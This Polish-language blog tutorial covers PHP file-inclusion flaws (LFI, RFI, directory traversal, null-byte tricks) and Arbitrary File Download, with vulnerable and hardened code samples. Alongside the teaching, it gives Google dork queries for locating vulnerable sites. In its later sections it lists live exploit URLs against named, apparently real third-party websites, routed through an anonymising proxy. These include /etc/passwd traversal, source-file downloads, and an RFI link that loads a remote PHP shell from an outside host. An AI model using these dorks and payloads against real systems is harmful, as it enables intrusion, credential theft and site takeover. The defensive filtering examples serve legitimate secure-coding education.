Praktycznie każdy dynamicznie generowany system oparty o rozwiązania dostępne w celu tworzenia aplikacji internetowych działa na zestawie katalogów, a skrupulatniej pisząc także podkatalogów. Operowanie na nich, np. w celu wczytania danego języka czy plików szablonów poprzez użycie danych pochodzących od użytkownika może być przyczyną niemałego problemu. Local File Include, Remote File Include, czy Directory Traversal to fachowe nazwy błędów na które przez niedostateczne zabezpieczenie skryptu możemy być narażeni.

Zarys teoretyczny…

Obydwa typy ataków (zwane razem po prostu Include File Injection) są przykładami ogólnie rozumianego Code Injection, czyli wstrzykiwania niedozwolonego kodu. Prócz nich do grupy tego typu luk należą m.in. PHP/ASP Injection, SQL Injection, czy Shell Injection które dokładniej przedstawię w kolejnych artykułach o zabezpieczeniach.

O czym zaraz będziecie mogli się przekonać, na pierwszy rzut oka ataki te są podobne do opisywanej już przeze mnie luki AFD, a wszystko przez fakt możliwości wykorzystania błędu poprzez specyficzne dane wprowadzane przez użytkownika. Ich stopień niebezpieczeństwa można wyrazić przez prosty fakt, że nie tylko zagrażają one danemu, podatnemu na nie serwisowi, ale także w niektórych przypadkach całemu serwerowi. Dzieje się tak z powodu możliwości załadowania dowolnego pliku na serwerze ofiary, bądź w zależności od konfiguracji serwera także pliku z serwerów zewnętrznych poprzez dziurawy skrypt.

Przyczyny tworzenia bugów…

Obydwa błędy dotyczą funkcji PHP odpowiedzialnych za wczytywanie plików na stronie. Mowa tu np. o include(), include_once(), require(), require_once(), fopen() (a co za tym idzie także fread()), file(), czy file_get_contents().

Dwa poniższe, teoretyczne przykłady zobrazują Wam jak prosto można stać się ofiarą własnej naiwności, niewiedzy.

<?php
$lang					   = 'polish'; // domyslny jezyk/plik
if ( isset($_COOKIE['language']) ) // gdy jezyk jest juz ustawiony w cookies
{
	$lang				   = $_COOKIE['language']; // nadpisanie $lang wartoscia ustawiona
}
else if ( isset($_GET['set_lang']) ) // gdy przekazujemy w parametrze nowy jezyk
{
	setcookie("language", "", time() - 3600); // usuniecie starego cookie
	setcookie("language", $_GET['set_lang'], time() + 3600); // wpisanie nowego jezyka do cookies
	$lang				   = $_GET['set_lang']; // nadpisanie $lang wartoscia
}
$array = file($lang . '.txt'); // wczytanie do tablicy pliku z jezykiem, domyslnie 'polish.txt'
?>

Kod ten domyślnie mógłby być przez jakiegoś laika używany do zapisywania w cookies języka użytkownika wraz z możliwością jego dynamicznej zmiany poprzez parametr tablicy GET skryptu. Niestety brak jakiegokolwiek filtrowania pozwala co lepiej kombinującemu użytkownikowi na manipulowanie i wartością parametru, i zawartością ciasteczka odpowiadającego za przetrzymywanie języka użytkownika.

Przeanalizujmy metodykę działania tego pseudoskryptu:

http://strona.pl/index.php?set_lang=polish // do odpowiedniego COOKIE zostanie zapisana wartość 'polish' po czym będzie wczytywany plik 'polish.txt'
http://strona.pl/index.php?set_lang=english // podobnie jak powyżej (zakładając, że obydwa pliki istnieją na serwerze) z tymże zostanie wczytany plik 'english.txt', a zapisana zostanie wartość 'english'

Niby wszystko ok. Co jednak, jeżeli dokonamy edycji ciasteczka, bądź zmienimy nasz parametr w sposób podobny do http://inna_strona.eu/exp.txt?? Wywołamy z zewnętrznego serwera skrypt o rozszerzeniu txt. Tak oto otrzymaliśmy prosty przykład RFI. Po co ten znak zapytania na końcu? W celu uznania za parametry wszystkiego co znalazłoby się za nim w naszym adresie po przepuszczeniu w danej funkcji PHP (działa to tylko w przypadku RFI i zależne jest od stosowanej funkcji operującej na pliku), a także w celu uruchomienia danego pliku na serwerze ofiary. W naszym przypadku wynikiem będzie:

$array = file('http://inna_strona.eu/exp.txt?.txt'); // RFI na http://inna_strona.eu/exp.txt

Drugi przypadek może symbolizować prosty system wczytywania podstron. Przykład może pozornie być uważany za bezpieczny z racji zastosowania switch. Niestety w wypadku jeżeli żaden z jego warunków nie zostanie spełniony w default może zostać wykonany praktycznie dowolny kod.

<?php
[...]
switch ( $_GET['page'] )
{
	case 'index': // gdy GET page == index
		require 'index.php';
		break;
	case 'about': // gdy GET page == about
		require 'about.php';
		break;
	default: // w pozostalych wypadkach zostanie wywolany plik errors/dowolny_ciag.php
		require 'errors/' . $_GET['page'] . '.php';
		break;
}
[...]
?>

Podobnie jak w pierwszym przykładzie także tutaj możemy spreparować link, tym razem np. w taki sposób, aby uzyskać LFI.

http://strona.pl/index.php?page=../hasla.txt

Skorzystanie z takiego odnośnika spowoduje wywołanie pliku hasla.txt z głównego katalogu serwisu. Nie trzeba długo myśleć, że w taki sposób można mieć dostęp do każdego niezabezpieczonego pliku na serwerze w tym do będącego najczęstszym przykładem /etc/passwd.

Directory Traversal (DA)?

W powyższych przykładach nie wspomniałem nic o Path Disclosure, bo tak inaczej można nazwać Directory Traversal. Pozwala ono na otrzymanie dostępu do plików źródłowych lub ujawnienie innych zasobów znajdujących się na lokalnym serwerze. Manipulując żądaniami podobnie jak w przypadku Local File Include możemy otrzymać niepowołany dostęp do w.w. zasobów poprzez np. domyślne odwoływanie się do plików szablonów, czy podstron danego serwisu. To czyni z DA synonimiczny typ ataku do wspomnianego przed chwilą LFI.

Poison Null Byte jako panaceum na ominięcie zintegrowanych rozszerzeń…

Wspomniałem powyżej, że znak zapytania na końcu wywoływanego, spreparowanego kodu powoduje w niektórych przypadkach pozbycie się wbudowanego w skrypt rozszerzenia – o ile takowe istnieje. W praktyce działa to tylko w funkcjach sczytujących zawartości plików zewnętrznych, takich jak np. wspomniane file(args);. Nie zadziała to jednak już np. w przypadku integralnie wczytującego include(arg);.

$a = file(ADRES . '?.php'); // ok - wywoła plik z rozszerzeniem przed ?, a .php potraktuje jako argument
include(ADRES . '?.php'); // nie zadziała - .php będzie rozszerzeniem

Nasuwają się więc od razu pytania jak sobie poradzić z tym problemem? Czy jest jakiś uniwersalny sposób na przełamanie tego niekiedy przypadkowego zabezpieczenia? Jest i nazywa się Poison Null Byte, czyli atak z użyciem bajtu zerowego. Inaczej mówiąc jest to zerowy metaznak w postaci jednej z dwóch następujących form: %00 lub %2500. Drugą z nich używa się w wypadku kiedy strona zabezpieczona jest przed pierwszą. Zamieniamy w nim po prostu % na jego szesnastkowy odpowiednik w kodzie ASCII, czyli %25. Po dodaniu takiego “pustego” znaku automatycznie przekazujemy do skryptu zakończenie danego ciągu (nakazujemy obcięcie reszty znaków), przez co wszystko co po nim występuje jest automatycznie ignorowane przez parser PHP.

http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%00

http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%2500

Należy pamiętać, że w PHP poniżej wersji 6.0 przy włączonym ustawieniu “magic_quotes_gpc = On” zostanie automatycznie przeprowadzona filtracja tego typu ataku. Sama luka wykorzystywana jest zawsze w połączeniu z tytularnymi bugami opisywanymi w tym artykule.

Kiedy jesteśmy narażeni na włamanie?

• kiedy “magic_quotes_gpc = Off” (php.ini) (brak filtracji bajtów zerowych z poziomu ustawień PHP), bądź kiedy nie używamy addslashes lub mysql_real_escape_string dla poleceń MySQL,
• gdy dyrektywa “register_globals = On” (php.ini), z racji tworzenia z parametru tablic superglobalnych GET/POST/COOKIES zmiennej o nazwie tegoż argumentu. Przykład:

  http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt

  Utworzy w skrypcie automatycznie zmienną o następującej wartości:

  $page = 'http://inna_strona.eu/exp.txt';

• w momencie gdy “allow_url_fopen = On” (php.ini) i/lub “allow_url_include = On” (php.ini dla funkcji include(arg);, require(arg);, include_once(arg);, require_once(arg); PHP od wersji 5.2) które pozwalają na pobieranie w funkcjach operujących na plikach zasobów z zdalnych serwerów lub w momencie kiedy nie blokujemy takiej możliwości bezpośrednio z poziomu skryptu,
• kiedy nie zachowujemy podstawowych zasad zachowania bezpieczeństwa w skrypcie w tym wypadku dotyczących ograniczenia korzystania z plików w danych katalogach, o danych rozszerzeniach opierając się o regułę ograniczonego zaufania.

Zagrożenie ze strony modyfikacji kodowania adresu URL…

Skupmy się na chwilę na samych parametrach skryptu, czyli na Query String’u. Analizując metody zabezpieczeń często zapomina się o filtracji zakodowanej formy adresu na której działanie część serwerów jest narażonych.

Tak więc ../ dla przykładu w heksadecymalnym kodzie ASCII posiada odpowiednik w postaci ciągu %2e%2e%2f. Należy zabrać pod uwagę także mieszane formy poprzedniego wzorca, jak np. ..%2f, %2e%2e/, a także formy zgodne z UTF-8 – czyli dla przykładu ..%c0%af. Poniżej przedstawiam tabelę części znaków i ich szesnastkowych odpowiedników ASCII.

Celem ogólnym tego paragrafu jest zaprezentowanie przeze mnie rzadkich, ale niekiedy możliwych do przeprowadzenia metod w.w. ataków za pomocą użycia procentowych, zakodowanych odpowiedników znaków. Uogólniając należy wyjść naprzeciw temu problemowi poprzez usystematyzowanie formy danych wejściowych na jednolite, najlepiej najbliższe ludzkiemu oku – czysto znakowe.

Jak się zabezpieczyć?

Na początek można odwrócić wartości dotyczące konfiguracji php.ini które podałem w paragrafie “Kiedy jesteśmy narażeni na włamanie?”. Nie mniej jednak “allow_url_fopen = Off” może być niepowołane w przypadku skryptów docelowo korzystających z jakiegoś zewnętrznego zasobu (np. z danych jakiegoś trackera), a “magic_quotes_gpc = On” pomimo, że automatycznie przeprowadza pewien poziom filtrowania to nie jest przeze mnie zalecane z powodu kreowania w webdeveloperze złych nawyków. Reszta zmian jest jak najbardziej wskazana.

Jeśli chodzi już o zabezpieczenia z poziomu skryptu to oprę się o dwa na początku artykułu wymienione przykłady.

Na drugim z nich zaprezentuję sposób najbardziej banalny, gdyż ładujący dane za pomocą ID (oparty o wbudowaną listę plików, choć można to oczywiście zrobić na podstawie np. bazy danych).

<?php
function getPageName($page)
{
	$files = array( // zbior dozwolonych plikow
		'index', 'about', '404'
		);
	$counted = count($files);
	// jezeli podany argument jest wiekszy niz 0 i mniejszy lub rowny liczbie dozwolonych plikow
	//	  to zwroc nazwe pliku o tym ID
	// inaczej
	//	  zwroc ostatni dozwolony plik jako blad
	return ( $page <= ( $counted ) && $page > 0 ? $files[($page-1)] : $files[($counted-1)] );
}
$page = getPageName((int)$_GET['page']); // rzutowanie na typ calkowity i wywolanie funkcji zwracajacej nazwe pliku po ID
switch ( $page )
{
	case '404': // wyjatek w wypadku bledu
		require './errors/404.php';
		break;
	default: // wczytanie przefiltrowanego pliku
		require './' . $page . '.php';
		break;
}
?>

Przykład banalny i za pewnie przydatny tylko w przypadku małych i prostych skryptów. Wypadałoby go zautomatyzować i na tym będzie się opierał pierwszy przerobiony z wyżej opisanych, niezabezpieczonych kodów.

Oprzemy się tutaj na użyciu funkcji basename() (w celu wyodrębnienia nazwy pliku z całego ciągu), addslashes() (dodaj znaki unikowe), urldecode() (dla zakodowanych procentowych form znaków) oraz html_entity_decode() (aby pozbyć się encji). Przykład zabroni całkowicie pobierania z zewnętrznych serwerów. Jeśli jednak skrypt wymagałby tego to należy zabronić użytkownikowi podawania adresu do takowego pliku i po prostu umieścić jego adres na stałe w skrypcie. Ważnym jest też fakt, aby pamiętać, że jeśli ten zdalny plik nie leży na jednym z zarządzanych przez nas serwerów to musimy liczyć się z tym, iż jego zawartość może zmienić się na przeznaczoną do dokonania włamania. Bezwzględnie powinno się filtrować także zawartość takich plików!

<?php
$files_catalog			  = './'; // katalog z plikami
$lang					  = 'polish'; // domyslny jezyk/plik
if ( isset($_COOKIE['language']) ) // gdy jezyk jest juz ustawiony w cookies
{
	// nadpisanie $lang wartoscia ustawiona wraz z filtracja
	$lang				  = addslashes(basename(html_entity_decode(urldecode($_COOKIE['language']))));
}
else if ( isset($_GET['set_lang']) ) // gdy przekazujemy w parametrze nowy jezyk
{
	// filtracja danych wejsciowych
	$lang				   = addslashes(basename(html_entity_decode(urldecode($_GET['set_lang']))));
	setcookie("language", "", time() - 3600); // usuniecie starego cookie
	setcookie("language", $lang, time() + 3600); // wpisanie nowego jezyka do cookies
}
if ( file_exists($files_catalog . $lang . '.txt') ) // wczytanie danych TYLKO gdy plik istnieje
{
	$array = file($files_catalog . $lang . '.txt'); // wczytanie do tablicy pliku z jezykiem, domyslnie 'polish.txt'
}
?>

Bo człowiek najlepiej uczy się na przykładach…

Szukać opisywanych błędów można w podobny sposób jak w temacie o Arbitrary File Download (w slangu tzw. dorki). Pomijając pisane do tego specjalnie skrypty/programy, za pomocą wyszukiwarki. Frazeologia także nie różni się tak bardzo. Opieramy po prostu wyszukiwanie na parametrach skryptu pod którymi może występować luka, takimi jak f=, file=, site=, page=, czy plik=.

inurl: ".php?f="
inurl: ".php?page="
inurl: ".php?file="
inurl: ".php?plik="
inurl: ".php?site="

inurl:.pl (".php?page=" OR ".php?plik=")

Tak mogłyby wyglądać frazy wyszukiwania Google. W tym ostatnim wypadku zawężamy wyszukiwania do domen o rozszerzeniu .pl oraz wyszukujemy w nich jedną z dwóch podanych nazw parametrów plików php. Oczywiście nic nie stoi na przeszkodzie, aby przerobić to zapytanie na bliższe własnym potrzebą.

Inny sposobem na wyszukiwanie tego typu błędów jest wpisywanie fraz związanych z ostrzeżeniami funkcji na których luka się opiera (takich jak require(), file(), czy inne wymienione w drugim paragrafie). Niestety jest to metoda zawodna, gdyż nie każda tego typu informacja zwracana w skrypcie jest wykładnikiem błędu i nie zawsze są one także indeksowane przez wyszukiwarki. Można je jednak niekiedy użyć z wcześniej wymienionym sposobem w celu zwiększenia prawdopodobieństwa, że wykryty przez nas domniemany błąd jest nim naprawdę.

Warning: require()
Warning: file()
Warning: fopen()
Warning: file_get_contents()

Największe prawdopodobieństwo trafienia na podatny kod ostrzeżenie na stronie powinno wyglądać mniej więcej jak to (należy zwrócić uwagę na rozszerzenie otwieranego pliku oraz rodzaj funkcji wczytującej pliki):

Warning: include() [function.include]: Failed opening '...php' for inclusion (include_path='.:/usr/share/pear') in /adres_wzgledny/index.php on line 13

inurl:automotive.co.uk (".php?site=" OR ".php?file=" OR ".php?page=" OR ".php?f=")

W taki oto sposób, po ciut przypadkowych poszukiwaniach otrzymałem przykład nieodpowiednio zabezpieczonego skryptu.

http://www.riverside-automotive.co.uk/index.php?f=data_home&a=9

Link z pierwszej strony wyników. Dla pewności sprawdziłem występowanie luki poprzez jeden z krążących po internecie programów do ich wykrywania (po czym przetestowałem ponownie napisanym przeze mnie skanerem – jest to wersja rozwojowa więc może mieć ciut błędów – wymaga minimum .NET Framework 2.0 – więcej w komentarzach). Rezultat pozytywny – “mission completed” :D

http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.riverside-automotive.co.uk/index.php?f=../../../../../../../../etc/passwd

Pewnie niektórzy drapią się z Was po głowie, dlaczego ten punkt opisałem “po łebkach”. Wszystko ze względu, że metodologia wykrywania tego typu bugów jest praktycznie taka sama jak w przypadku poprzednio opisywanej przeze mnie problematyki zabezpieczeń (wspomniane już dwukrotnie AFD).

I na koniec przykładowy link działania zewnętrznego shella (skrypt wykonywany zdalnie – z innego serwera – przykładami są: r57.php, s72.php, czy c99.php) wobec RFI, już bez zbędnego opisu. Jak zwykle zaznaczam także, że wszelkie przykłady zamieszczone w tymże, a także w kolejnych artykułach są na zasadach edukacyjnych. Proszę nie wykorzystywać ich do jakiegokolwiek niszczenia prac autorów zamieszczonych tu stron!

Podatna strona: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=
Przykładowy shell: http://www.mykr.net/bbs/id.txt?
// Shell wykorzystywany na utnij.eu
Pełny adres: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.mykr.net/bbs/id.txt?

Jeśli ktoś chce zobaczyć konstrukcję shellów, to zapraszam na utnij.eu, gdzie w statystykach skróconych ostatnio odnośników można znaleźć wiele tego typu skryptów, co jest wynikiem prób jakiś osobników shackowania tego serwisu. Jak na razie bezowocnych… na szczęście…

PS: zapraszam wszystkich chętnych do luźnych rozmów nie tylko o programowaniu, także wszelkich programistów i grafików, a uogólniając każdą osobę która lubi prowadzić dialog i dłuższe przesiadywanie na IRC-u na kanał #thenet serwerów after-all.org (#thenet@irc.after-all.org).

Postanowiłem podejść do sprawy zabezpieczeń w wielu wpisach. Pisanie o bezpieczeństwie w jednym byłoby długie i cholernie monotonne. Zaczniemy więc tym razem niestandardowo, bo od ataku typu Arbitrary File Download (szczerze większej publikacji o tym nie znalazłem) – z reguły rzadszym, ale bardzo niebezpiecznym, a to wszystko jak sama nazwa mówi z powodu możliwości ściągnięcia dowolnego pliku na serwerze na którym wykonywany jest odpowiedni plik php.

Tłumacząc na polski nazwę tej luki otrzymalibyśmy mniej lub bardziej dosłownie translację w stylu “Pobieranie dowolnego pliku”. Stąd moje krótkie tłumaczenie w powyższym paragrafie.

Z teoretycznego punktu widzenia dokładniej wygląda to tak, że za pomocą parametru w adresie pliku przeznaczonego do ściągania innych plików z serwera możemy spreparować tak adres, aby pozwolił on nam ściągnąć pliki domyślnie przez programistę nieprzeznaczone do takiego zabiegu. Wiąże się to niedostateczną, a najczęściej po prostu z brakiem filtracji elementu (np. zmiennej) odpowiedzialnego za pobieranie argumentu.

Pokażę prosty przykład pliku (nazwijmy go download.php) który jest podatny na tego typu atak:

<?php

if ( isset($_GET['file']) )
{
	header('Cache-control: private');
	header('Content-Length: ' . filesize($_GET['file']));
	header('Content-Type: application/octet-stream');
	header('Content-Disposition: attachment; filename=' . basename($_GET['file'])); // nagłówek ustawiający zawartość jako załącznik

	readfile($_GET['file']); // ściągnięcie pliku
}

?>

I pomimo, że intencją programisty było ściąganie dzięki temu plikowi np. dokumentów PDF, to my dzięki jego niefrasobliwości bez problemu możemy wykorzystać go do… pobierania pozostałych plików PHP. Co najważniejsze – nieprzeparsowanych! Po prostu czysty kod PHP w takiej formie jaką twórca strony umieścił na serwerze. Jedyne co nas w tym wypadku ogranicza to funkcja readfile która standardowo nie nadaje się do pobierania dużych plików, a także czas wykonywania skryptu i wielkość bufora ustawiona w pliku konfiguracyjnym PHP.

Wracając do przykładów. Na wyimaginowanym odnośniku powiedzmy linkującego do dokumentu PDF wyglądało by to tak:

www.strona_internetowa.pl/catalog/download.php?file=specyfikacja.pdf

Pierwsza myśl która Wam może przyjść do głowy to podmienić po prostu specyfikacja.pdf na inny plik. Standardowo mógłby być to index.php, gdyż ściągając jego zawartość otrzymamy informację o nazwach innych powiązanych z nim plików. Niekoniecznie jednak plik ten musi się znajdować w tym samym katalogu co download.php, czy specyfikacja.pdf.

W pierwszym przypadku widzimy, że plik PHP którym ściągamy pozostałe źródła znajduje się w podkatalogu. Dlatego dla pewności możemy wypróbować dwa spreparowane linki:

www.strona_internetowa.pl/catalog/download.php?file=index.php // plik znajdowałby się wtedy pod /catalog/index.php
www.strona_internetowa.pl/catalog/download.php?file=../index.php // plik znajdowałby się wtedy bezpośrednio w strona_internetowa.pl/index.php

W drugim punkcie sprawa wygląda tak, że plik specyfikacja.pdf nie musi się znajdować w tym samym katalogu co download.php pomimo, że w odnośniku nie jest podana do niego inna ścieżka. Wystarczy, że twórca strony w w.w. przeze mnie kodzie zmieni linijkę z readfile (a także linię odpowiedzialną za pobieranie wielkości pliku) na:

<?php
[...]
	header('Content-Length: ' . filesize('./podkatalog/kolejny/' . $_GET['file']));
[...]
    readfile('./podkatalog/kolejny/' . $_GET['file']); // ściągnięcie pliku

?>

W takim wypadku jego pliki PDF są po prostu ściągane z:

www.strona_internetowa.pl/catalog/podkatalog/kolejny/

I tu rodzi się kolejne rozwiązanie – używanie przejść do katalogów nadrzędnych. Jeśli w tym wypadku chcielibyśmy ściągnąć index.php z głównego katalogu to wystarczy po prostu wpisać taki adres w przeglądarce:

www.strona_internetowa.pl/catalog/download.php?file=../../../index.php

Spytacie może:

W takim bądź razie skąd ja mam wiedzieć, gdzie wreszcie znajduje się ten mój pożądany plik?

Jeśli zaczynasz się w to bawić to najprościej będzie robić to metodą prób i błędów poprzez przejścia do podkatalogów i katalogów nadrzędnych. Jeżeli któreś z kolei nie zadziała to albo skrypt jest zabezpieczony, albo po prostu nie ma dostępu do pliku którego szukasz na serwerze (tak może być niekiedy z poszukiwaniem np. systemowego /etc/passwd). Innym sposobem jest użycie jakiegoś downloadera plików w stylu wget, czy innych Windowsowych zamienników, po czym analiza struktury katalogów serwisu. Zabieg w miarę prosty (chodzi o użytkowanie tych narzędzi) więc chyba tłumaczyć nie muszę.

Jak to wygląda już tak kompletnie w praktyce życiowej. Wiele osób twierdzi, że nie jest łatwo znaleźć taki błąd. Fakt, co nie zmienia faktu, że nie jest to niemożliwe. Specjalnie dla Was dzisiaj w nocy za pomocą Google wyszukałem pięć stron podatnych na ten atak. Jedną z nich wybiorę jako przykład ukazania wyszukania strony, błędu i ostatecznie jego edukacyjnego użycia.

• 1. Przeszukujemy Google…

Możemy to oczywiście zrobić na różne sposoby. Osobiście użyje tejże wyszukiwarki, a stronę znajdywać będę poprzez frazy wyszukiwania, np. takie:

inurl:.eu (getfile.php OR get.php OR file.php OR download.php)
inurl:home.pl (getfile.php OR get.php OR file.php OR download.php)

Tłumacząc, zostaną wyszukane wszelkie zindeksowane strony w domenie .eu (europejskiej) lub home.pl z co najmniej jednym plikiem podanym w nawiasie. Oczywiście można rzucić światło imaginacji i podać więcej plików które mogłyby być podanym wyżej przeze mnie źródłem ściągania, ale nam wystarczą tylko te.

• 2. Znalezienie celu…

Już na pierwszej stronie pierwszej frazy, i drugiej stronie drugiej frazy możemy znaleźć obiekty potencjalnie narażone na atak.

http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=./issues/2007-12/MohrContiniUK.pdf

http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=AGP_notka_prasowa.doc

• 3. Spreparowanie parametru…

Wystarczy tylko wejść pod jeden z tych adresów i spróbować ściągnąć dla przykładu index.php. Co się rzuca od razu w oczy to fakt, że w drugim przypadku prawdopodobnie plik przez nas pożądany będzie znajdować się dwa katalogi wyżej niż aktualnie jesteśmy.

http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=index.php

http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=../../index.php

• 4. Co dalej?

No właśnie. Nie zrobię Wam tu do końca kursu jak włamać się komuś na stronę. Bo posiadając dostęp do plików można bez problemu dostać się do bazy (o ile takowa istnieje), a co za tym idzie po prostu zostawić “OWNED” (o phishingowym wykorzystaniu chyba nie trzeba wspominać). Powiem tylko tyle, że znając PHP można bez problemu w takim momencie poznać strukturę plików, z tym co napisałem powyżej także ściągnąć je, a w tym te odpowiadające za konfiguracje czy hasła.

http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=../../skins/default.skin.php // inny przykład linku wyciągniętego z źródła index.php
http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=download.php // ściągnięcie pliku download.php

Na koniec kwestia która jest priorytetem i kulminacją tego wpisu.

Jak się do ku**y zabezpieczyć przed tym?!

Przede wszystkim należy filtrować dane. Zawsze należy, bo nawet jak nie trzeba to prócz większej ilości operacji nic więcej się serwisowi nie stanie z tego powodu. Taka drobna dygresja. Pytanie brzmi, jak to zrobić?

I tu już wszystko zależy od inwencji webmastera. Pokaże dwa przykłady w zależności od podawanego argumentu.

• Ściąganie pliku poprzez ID i wykorzystanie bazy danych MySQL.

Przede wszystkim musimy utworzyć prostą tabelę. Zakładam, że wszystkie pliki będą się znajdować w jednym katalogu (powiedzmy download).

CREATE TABLE files ( file_id SMALLINT UNSIGNED PRIMARY KEY AUTO_INCREMENT, file_name VARCHAR(255) NOT NULL ) COMMENT = 'file_id; 0-65535; klucz glowny : file_name; 0-255; nie pusty', MAX_ROWS = 65535;

Nasz zabugowany wyżej plik możemy zamienić na coś takiego (użyłem czystych funkcji PHP dla MySQL, jeśli ktoś zna rozszerzenie MySQLi albo moduł PEAR DB to nie będzie miał problemu z przepisaniem sobie tego):

<?php
require_once './config.php'; // plik konfiguracyjny z tablica danych do bazy danych
require_once './mimes.inc.php'; // plik z funkcja rozpoznajaca typy mime (function getMimeType(file))

$file			= ( isset($_GET['file']) ? intval($_GET['file']) : 0 ); // filtracja parametru file zawierajacego domyslnie w sobie liczby calkowite

if ( $file ) // jesli $file jest rozne od 0 tzn ze w parametrze zostalo wpisane ID w postaci cyfry
{
	if ( $connection = mysql_connect($db['host'], $db['user'], $db['pass']) === false ) // laczenie z baza danych za pomoca danych z tablic $db pliku config.php
	{
		print 'Blad polaczenia z baza danych: ' . mysql_error();
		die();
	}
	mysql_select_db($db['base']); // wybor bazy danych

	$fetched		= mysql_fetch_assoc(
		mysql_query('SELECT count(file_id) as counted, file_name
			FROM files
			WHERE file_id = ' . $file . '
			GROUP BY file_id
				LIMIT 1')
		); // zapytanie zliczajace i zwracajace liczbe rekordow o file_id = $file oraz nazwe pliku o podanym ID
	if ( $fetched['counted'] == 1 ) // jesli powyzsze zapytanie zliczylo 1 wiersz tzn ze ID jest prawidlowe
	{
		// szybka, dodatkowo filtracja poprzez zamiane encji na znaki i usuniecie ewentualny /
		// UWAGA! filtracja dokladna wpisywanych danych powinna byc przeprowadzona przy wprowadzaniu pliku do bazy
		if ( strpos($fetched['file_name'], '../') === false && file_exists('./download/' . $fetched['file_name']) === true ) // sprawdzenie istnienia pliku
		{
			// wyslanie odpowiednich naglowkow
			header('Cache-control: private');
			header('Content-Length: ' . filesize('./download/' . $fetched['file_name']));
    		header('Content-Type: ' . getMimeType($fetched['file_name'])); // wyslanie odpowiedniego typu MIME pliku zwracanego przez funkcje getMimeType (do napisania ;])
    		header('Content-Disposition: attachment; filename=' . basename($fetched['file_name']));

	    	// odczytanie pliku
    		readfile('./download/' . $fetched['file_name']);
		}
		else {
			print 'Plik o podanym ID nie istnieje!'; // nie znaleziono pliku o podanym ID na serwerze, blad!
		}
	}
	else {
		print 'Niepoprawne ID pliku!'; // nie znaleziono pliku o podanym ID, blad!
	}
	mysql_close(); // zamkniecie polaczenia
}
else {
	print 'Brak ID pliku!'; // nie znaleziono pliku o podanym ID, blad!
}
?>

Należy pamiętać, że ważnym aspektem zachowania bezpieczeństwa jest także odpowiednia filtracja przy dodawaniu rekordów z nazwami plików do bazy.

• Ściąganie pliku po jego nazwie.

Tym razem zabezpieczenie będzie trzeba zrobić bardziej intuicyjnie i oparte tylko na odpowiednim filtrowaniu. Wszystko zależy tutaj od tego skąd chcemy ściągać pliki. Przede wszystkim powinniśmy zabronić jakiegokolwiek pobierania z katalogów nadrzędnych, a także z katalogów podrzędnych w których znajdują się pliki będące integralną częścią strony. Najwygodniej oczywiście byłoby ustawić jeden, konkretny katalog do ściągania. Nie mniej jednak my skupimy się na ograniczeniu do n-tej ilości podkatalogów. Ostatecznie należy pamiętać także, aby w katalogach do których będzie miał dostęp użytkownik z poziomu skryptu pobierającego nie było plików innych niż zdatne do takiego ściągnięcia, no i ewentualnie index.html z pustą stroną.

<?php
function afdFiltration($file, $a_extns, $pattern = '')
{
	$file					= html_entity_decode(urldecode($file)); // usunięcie postaci procentowej znaków i zdekodowanie encji na znaki

	// sprawdzenie, czy wystepuje w ciagu ../ i ..\
	if ( strpos($file, '../') !== false || strpos($file, '..\\') !== false )
	{
		return '';
	}

	if ( $pattern != '' )
	{
		if ( !preg_match($pattern, $file) ) // jesli podano wzor to sprawdzenie czy pokrywa sie on z podanym plikiem
		{
			return '';
		}
	}

	$extension				= strtolower(end(explode(".", $file))); // rozszerzenie pliku
	if ( in_array($extension, $a_extns) === false ) // sprawdzenie czy rozszerzenie pliku pokrywa sie z dozwolonymi rozszerzeniami w skrypcie
	{
		return '';
	}

	if ( file_exists($file) === false ) // sprawdzenie istnienia pliku
	{
		return '';
	}

	return $file; // zwrocenie przefiltrowanego adresu pliku
}

require_once './mimes.inc.php'; // plik z funkcja rozpoznajaca typy mime (function getMimeType(file))

$allowed_extensions		= array('pdf', 'txt', 'c'); // dozwolone rozszerzenia plikow
$pattern				= ''; // opcjonalny wzor do sprawdzenia poprawnosci wprowadzonego adresu pliku

$file					= ( isset($_GET['file']) ? afdFiltration($_GET['file'], $allowed_extensions, $pattern) : '' ); // wywolanie funkcji filtrujacej, gdy podano argument file

if ( $file != '' ) // w wypadku pozytywnego przejscia filtracji
{
	header('Cache-control: private');
	header('Content-Length: ' . filesize($file));
	header('Content-Type: ' . getMimeType($file)); // wyslanie odpowiedniego typu MIME pliku zwracanego przez funkcje getMimeType (do napisania ;])
   	header('Content-Disposition: attachment; filename=' . basename(strtolower(end(explode("/", $file)))));

	// odczytanie pliku
    readfile($file);
}
else {
	print 'Nieprawidłowa nazwa lub ścieżka do pliku!'; // nie znaleziono pliku o podanym ID, blad!
}
?>

Zasada powyższego, przykładowego skryptu jest prosta. Filtrujemy w trzech poziomach. Zmieniając encje na znaki usuwamy ciąg ../ z adresu. Sprawdzamy opcjonalnie adres do pliku wg. zadanego przez nas wzorca (o ile takowy podamy) i ostatecznie porównujemy rozszerzenie pliku z dozwolonymi przez nas osobiście rozszerzeniami. Przykładem wzorca dla wyrażenia regularnego będzie np.:

$pattern				= '/^([a-zA-Z0-9\_\-]+)\\.([a-z0-9]{2,4})$/';

Pozwala ono na ściąganie dowolnego pliku zawierającego w sobie duże i małe litery, cyfry oraz znaki _ i -, a także rozszerzenie będące małymi literami i/lub cyframi o długości od dwóch do czterech znaków.

Na koniec przekazuje kilku minutowy filmik obrazujący znalezienie i użycie błędu. Zapraszam tutaj.

Uprzejmie proszę też o komentarze, jak wygląda ten tutorial, czy jest przydatny i przede wszystkim czy taka forma i taka ilość informacji będzie odpowiednia dla przyszłych artykułów z tego zakresu.

